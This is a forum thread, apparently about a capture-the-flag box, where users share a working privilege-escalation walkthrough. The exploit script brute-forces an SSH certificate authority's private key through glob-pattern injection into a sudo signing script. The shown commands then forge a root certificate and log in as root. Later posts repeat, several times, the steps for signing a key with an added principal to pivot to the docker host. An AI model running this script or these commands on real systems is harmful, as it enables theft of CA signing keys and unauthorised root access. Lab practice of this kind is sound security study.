[mhsoraa]

Run this on zzinter@ssg...

import subprocess import string CA_PATH = '/tmp/ca-test' SIGNING_SCRIPT = '/opt/sign_key.sh' PUB_KEY = 'root.pub' USER = 'root' PRINCIPAL = 'root_user' SERIAL = 'ABCD' def run_signing_command(pattern):     with open(CA_PATH, 'wb') as f:         f.write(pattern.encode('utf-8'))     try:         result = subprocess.run(             ['bash', '-c', f"echo -n '{pattern}' > {CA_PATH}; sudo {SIGNING_SCRIPT} {CA_PATH} {PUB_KEY} {USER} {PRINCIPAL} {SERIAL}"],             capture_output=True,             text=True         )         return result.stdout.strip(), result.stderr.strip()     except Exception as e:         print(f"Error running command: {e}")         return "", str(e) def brute_force_patterns(base_pattern=''):     chars = string.ascii_letters + string.digits + '-+=/ \r\n'     while True:         found = False         for char in chars:             pattern = base_pattern + char + '*'             stdout, stderr = run_signing_command(pattern)             if "Error: Use API for signing with this CA." in stdout:                 base_pattern += char                 found = True                 print(f"{base_pattern}")                 break         if not found:             break     return pattern if __name__ == '__main__':     ca_key = brute_force_patterns()     if "-----END OPENSSH PRIVATE KEY-----" in ca_key:         print("\n\nSuccess\n")         file = open("ca-it", "w")         file.write(ca_key)         file.close()     else:         exit("\n\nFail\n")

zzinter@ssg$ python exploit.py zzinter@ssg$ ls ca-it zzinter@ssg$ rm -f keypair* zzinter@ssg$ ssh-keygen -f keypair zzinter@ssg$ chmod 600 ca-it zzinter@ssg$ ssh-keygen -s ca-it -z 200 -I root -V -10w:forever -n root_user keypair.pub zzinter@ssg$ ssh root@ssg -p2222 -i keypair -i keypair-cert.pub root@ssg# ls /root root.txt

[mhsoraa]

python is not running zzinter@ssg$

---

can u explain how to do

zzinter@ssg:~$ python exploit.py - -- --- ---- ----- -----B -----BE -----BEG -----BEGI -----BEGIN -----BEGIN -----BEGIN O -----BEGIN OP -----BEGIN OPE -----BEGIN OPEN -----BEGIN OPENS -----BEGIN OPENSS

Just tested it.

[mhsoraa]

still not working

copy/paste ss/log here.

[newbi31]

zzinter@itrc:~$ which python3 zzinter@itrc:~$ python exploit.py -bash: python: command not found zzinter@itrc:~$ python -bash: python: command not found zzinter@itrc:~$ python3 -bash: python3: command not found zzinter@itrc:~$

[mhsoraa]

zzinter@itrc:~$ which python3 zzinter@itrc:~$ python exploit.py -bash: python: command not found zzinter@itrc:~$ python -bash: python: command not found zzinter@itrc:~$ python3 -bash: python3: command not found zzinter@itrc:~$

this script is for last step on docker host zzinter@ssg.

to move from zzinter@itrc to docker host ...

zzinter@itrc$ cp sign_key_api.sh sign.sh zzinter@itrc$ chmod +x sign.sh zzinter@itrc$ vi sign.sh Change: supported_principals="webserver,analytics,support,security" To: supported_principals="webserver,analytics,support,security,zzinter_temp" zzinter@itrc$ rm -f keypair* zzinter@itrc$ ssh-keygen -f keypair zzinter@itrc$ ./sign.sh keypair.pub zzinter zzinter_temp | tee keypair-cert.pub zzinter@itrc$ ssh -o CertificateFile=keypair-cert.pub -i keypair zzinter@172.223.0.1 -p2222

[jamesbeyond]

you have to be out of the container

[thing7]

zzinter@itrc:~$ which python3 zzinter@itrc:~$ python exploit.py -bash: python: command not found zzinter@itrc:~$ python -bash: python: command not found zzinter@itrc:~$ python3 -bash: python3: command not found zzinter@itrc:~$

this script is for last step on docker host zzinter@ssg.

to move from zzinter@itrc to docker host ...

zzinter@itrc$ cp sign_key_api.sh sign.sh zzinter@itrc$ chmod +x sign.sh zzinter@itrc$ vi sign.sh Change: supported_principals="webserver,analytics,support,security" To: supported_principals="webserver,analytics,support,security,zzinter_temp" zzinter@itrc$ rm -f keypair* zzinter@itrc$ ssh-keygen -f keypair zzinter@itrc$ ./sign.sh keypair.pub zzinter zzinter_temp | tee keypair-cert.pub zzinter@itrc$ ssh -o CertificateFile=keypair-cert.pub -i keypair zzinter@172.223.0.1 -p2222

how can you escalate to zzinter@ssgzzz

[thing7]

zzinter@itrc:~$ which python3 zzinter@itrc:~$ python exploit.py -bash: python: command not found zzinter@itrc:~$ python -bash: python: command not found zzinter@itrc:~$ python3 -bash: python3: command not found zzinter@itrc:~$

this script is for last step on docker host zzinter@ssg.

to move from zzinter@itrc to docker host ...

zzinter@itrc$ cp sign_key_api.sh sign.sh zzinter@itrc$ chmod +x sign.sh zzinter@itrc$ vi sign.sh Change: supported_principals="webserver,analytics,support,security" To: supported_principals="webserver,analytics,support,security,zzinter_temp" zzinter@itrc$ rm -f keypair* zzinter@itrc$ ssh-keygen -f keypair zzinter@itrc$ ./sign.sh keypair.pub zzinter zzinter_temp | tee keypair-cert.pub zzinter@itrc$ ssh -o CertificateFile=keypair-cert.pub -i keypair zzinter@172.223.0.1 -p2222

Ask me for a password